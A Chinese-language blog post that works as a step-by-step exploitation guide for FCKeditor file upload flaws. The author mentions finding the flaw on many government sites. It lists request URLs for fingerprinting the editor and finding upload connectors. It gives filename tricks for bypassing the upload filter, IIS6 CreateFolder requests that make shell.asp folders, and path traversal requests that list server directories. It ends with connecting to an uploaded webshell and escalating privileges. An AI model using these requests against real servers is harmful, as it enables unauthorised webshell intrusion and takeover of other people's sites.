FCKeditor文件上传漏洞及利用

  • 关于FCKeditor
  • 攻击思路
  • 总结

一. 关于FCKeditor

FCKeditor是一个网页的文本编辑器,在很多的cms里都有出现。近日工作期间遇到了不下十个有FCKeditor的站,尤其是ZF网站。

本文简单介绍通过FCKeditor上传漏洞进行攻击的思路,并对可能用到的操作进行整理。

二. 攻击思路

1.查看FCKeditor版本

1
2
http://127.0.0.1/fckeditor/editor/dialog/fck_about.html
http://127.0.0.1/FCKeditor/_whatsnew.html

1

2

2.测试上传点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html

FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
FCKeditor/_samples/default.html
FCKeditor/editor/fckeditor.htm
FCKeditor/editor/fckdialog.html

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php

3.突破限制

3.1 上传限制

上传限制的突破方式很多,主要还是抓包改扩展名,%00截断,添加文件头等

3.2 文件名限制

3.2.1二次上传绕过文件名‘ . ’ 修改为‘ _ ’

FCK在上传了诸如shell.asp;.jpg的文件后,会自动将文件名改为shell_asp;.jpg。可以继续上传同名文件,文件名会变为shell.asp;(1).jpg

3.2.2提交shell.php+空格绕过

空格只支持windows系统,linux系统是不支持的,可提交shell.php+空格来绕过文件名限制。

3.3 IIS6.0突破文件夹限制

1
2
3
Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=/shell.asp&NewFolderName=z.asp
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp

3.4 文件解析限制

通过Fckeditor编辑器在文件上传页面中,创建诸如1.asp文件夹,然后再到该文件夹下上传一个图片的webshell文件,获取其shell。

1
http://127.0.0.1/images/upload/201806/image/1.asp/1.jpg

4.列目录

4.1 FCKeditor/editor/fckeditor.html

FCKeditor/editor/fckeditor.html不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页,可以查看已经上传的文件。

4.2 根据xml返回信息查看网站目录

1
http://127.0.0.1/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp

4.3 获取当前文件夹

1
2
3
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

4.4 浏览E盘文件

1
/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=e:/

5. 连接木马

在木马能够解析之后,使用各类工具连接到木马,获取webshell。至此,利用FCKeditor进行文件上传并攻击的过程就已经完成。

三. 其他

最近的工作中遇到的站里大多数都存在FCKeditor编辑器,基本都存在以上漏洞,可以说是非常严重的问题。

在获取到webshell之后,可以进行的操作非常多,也便于提权操作,拿下主机权限并不困难。

关于该漏洞的防御,可以删除掉所有的上传点,并限制目录访问。



-------------本文结束感谢您的阅读-------------

本文标题:FCKeditor文件上传漏洞及利用

文章作者:J2ck7a1 Ch33

发布时间:2019年07月17日 - 10:07

最后更新:2019年07月17日 - 11:07

原始链接:http://yoursite.com/fckeditor-upload/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。


想喝快乐水